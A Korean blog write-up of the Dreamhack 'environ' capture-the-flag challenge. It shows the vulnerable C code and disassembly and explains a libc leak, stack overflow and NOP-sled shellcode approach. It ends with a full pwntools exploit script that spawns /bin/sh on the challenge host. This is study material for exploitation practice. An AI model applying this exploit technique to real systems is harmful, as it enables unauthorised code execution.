[Dreamhack] PWN environ
오랜만에 풀어보는 시스템 해킹이다.
environ을 간단히 설명해보면 프로그램이 동작할 떄 시스템의 환경변수를 참조해야할 경우가 있다. 이때 사용하는 것이 environ 포인터인데 이는 시스템의 환경변수를 가리키며 로더의 초기화 함수에 의해 초기화 된다.
이번 문제의 코드를 살펴보면 다음과 같다
int main()
{
char buf[16];
size_t size;
long value;
void (*jump)();
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
printf("Data: ");
read(0, buf, size);
printf("*jmp=");
scanf("%ld", &value);
jump = *(long *)value;
jump();
return 0;
}
stdout의 주소값을 출력해주고 입력받은 사이즈 만큼 buf에 쓰고 value의 주소를 정해줘 해당 주소로 점프해 어셈블리 코드를 실행하게 된다.
바이너리에 걸린 보안 기술을 보면 다음과 같다
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
stack canary가 적용되어 있지만 이를 체크하기 전에 쉘 코드가 실행되어 크게 신경쓸 부분은 아닌것 같다.
우선 해당 바이너리를 익스하기 위해 stdout주소에서 stdout offset의 차를 구해 libc base주소를 구한다. 이후 해당 libc base주소에 environ offset을 더해 바이너리의 environ주소를 구한다. 다음으로 buf를 오버플로우 시켜 environ 영역에 쉘 코드를 삽입하고 해당 주소로 점프하면 쉘을 구할 수 있다.
main함수의 어셈블리를 살펴보자
0x000000000040089a <+0>: push rbp
0x000000000040089b <+1>: mov rbp,rsp
0x000000000040089e <+4>: sub rsp,0x40
0x00000000004008a2 <+8>: mov rax,QWORD PTR fs:0x28
0x00000000004008ab <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000004008af <+21>: xor eax,eax
0x00000000004008b1 <+23>: mov eax,0x0
0x00000000004008b6 <+28>: call 0x40083e <initialize>
0x00000000004008bb <+33>: mov rax,QWORD PTR [rip+0x2007be] # 0x601080 <stdout@@GLIBC_2.2.5>
0x00000000004008c2 <+40>: mov rsi,rax
0x00000000004008c5 <+43>: mov edi,0x400a0d
0x00000000004008ca <+48>: mov eax,0x0
0x00000000004008cf <+53>: call 0x4006a0 <printf@plt>
0x00000000004008d4 <+58>: mov edi,0x400a19
0x00000000004008d9 <+63>: mov eax,0x0
0x00000000004008de <+68>: call 0x4006a0 <printf@plt>
0x00000000004008e3 <+73>: lea rax,[rbp-0x38]
0x00000000004008e7 <+77>: mov rsi,rax
0x00000000004008ea <+80>: mov edi,0x400a20
0x00000000004008ef <+85>: mov eax,0x0
0x00000000004008f4 <+90>: call 0x400700 <__isoc99_scanf@plt>
0x00000000004008f9 <+95>: mov edi,0x400a24
0x00000000004008fe <+100>: mov eax,0x0
0x0000000000400903 <+105>: call 0x4006a0 <printf@plt>
0x0000000000400908 <+110>: mov rdx,QWORD PTR [rbp-0x38]
0x000000000040090c <+114>: lea rax,[rbp-0x20]
0x0000000000400910 <+118>: mov rsi,rax
0x0000000000400913 <+121>: mov edi,0x0
0x0000000000400918 <+126>: call 0x4006c0 <read@plt>
0x000000000040091d <+131>: mov edi,0x400a2b
0x0000000000400922 <+136>: mov eax,0x0
0x0000000000400927 <+141>: call 0x4006a0 <printf@plt>
0x000000000040092c <+146>: lea rax,[rbp-0x30]
0x0000000000400930 <+150>: mov rsi,rax
0x0000000000400933 <+153>: mov edi,0x400a20
0x0000000000400938 <+158>: mov eax,0x0
0x000000000040093d <+163>: call 0x400700 <__isoc99_scanf@plt>
0x0000000000400942 <+168>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400946 <+172>: mov rax,QWORD PTR [rax]
0x0000000000400949 <+175>: mov QWORD PTR [rbp-0x28],rax
0x000000000040094d <+179>: mov rdx,QWORD PTR [rbp-0x28]
0x0000000000400951 <+183>: mov eax,0x0
0x0000000000400956 <+188>: call rdx
0x0000000000400958 <+190>: mov eax,0x0
0x000000000040095d <+195>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000400961 <+199>: xor rcx,QWORD PTR fs:0x28
0x000000000040096a <+208>: je 0x400971 <main+215>
0x000000000040096c <+210>: call 0x400690 <__stack_chk_fail@plt>
0x0000000000400971 <+215>: leave
0x0000000000400972 <+216>: ret
stdout을 통해 libc base 주소를 구하는 것은 어렵지 않다. pwntools을 이용하면 된다. 출력된 주소 - libc.symbols[“IO_2_1_stdout“]를 이용하면 쉽게 구할 수 있다. 가장 중요한 것은 buf의 위치와 environ 위치의 offset을 구해야 하는데 gdb 상에서 살펴보면 read 함수에서 받아 저장할 위치는 rbp-0x20이라고 되어있다.
0x0000000000400908 <+110>: mov rdx,QWORD PTR [rbp-0x38]
이부분의 주소값과 environ의 주소값의 차를 구하고 쉘코드의 길이를 더한 만큼 오버플로우 시켜야 한다.
그러면 buf와 environ의 offset 만큼의 nop코드로 채운 후 쉘코드를 삽입하고 이로 건너뛰는 시나리오가 될 것이다.
from pwn import *
context.update(arch='amd64', os='linux')
c = remote("host3.dreamhack.games", 17150);
libc = ELF("./libc.so.6")
#c = process("./environ")
#libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
shell = asm(shellcraft.execve("/bin/sh"))
c.recvuntil(b"stdout: ")
stdout = int(str(c.recvline()[:-1]).replace("b", "").replace("'", ''), 16)
print(f"stdout : {hex(stdout)}")
stdoutOffset = libc.symbols["_IO_2_1_stdout_"]
libcBase = stdout-stdoutOffset
print(f"libc base : {hex(libcBase)}")
print(f"libc offset : {hex(stdoutOffset)}")
envAddr = libcBase+libc.symbols["environ"]
print(f"environ addr : {hex(envAddr)}")
bufToenvOffset = 0x148
print(f"Buffer to environ addr offset : {hex(bufToenvOffset)}")
c.recvuntil(b"Size: ")
c.sendline(str(bufToenvOffset+len(shell)))
c.recvuntil(b"Data: ")
c.sendline(b"\x90"*bufToenvOffset+shell)
c.recvuntil(b"*jmp=")
c.sendline(str(envAddr))
c.interactive()
위 코드를 통해 익스플로잇이 가능하다.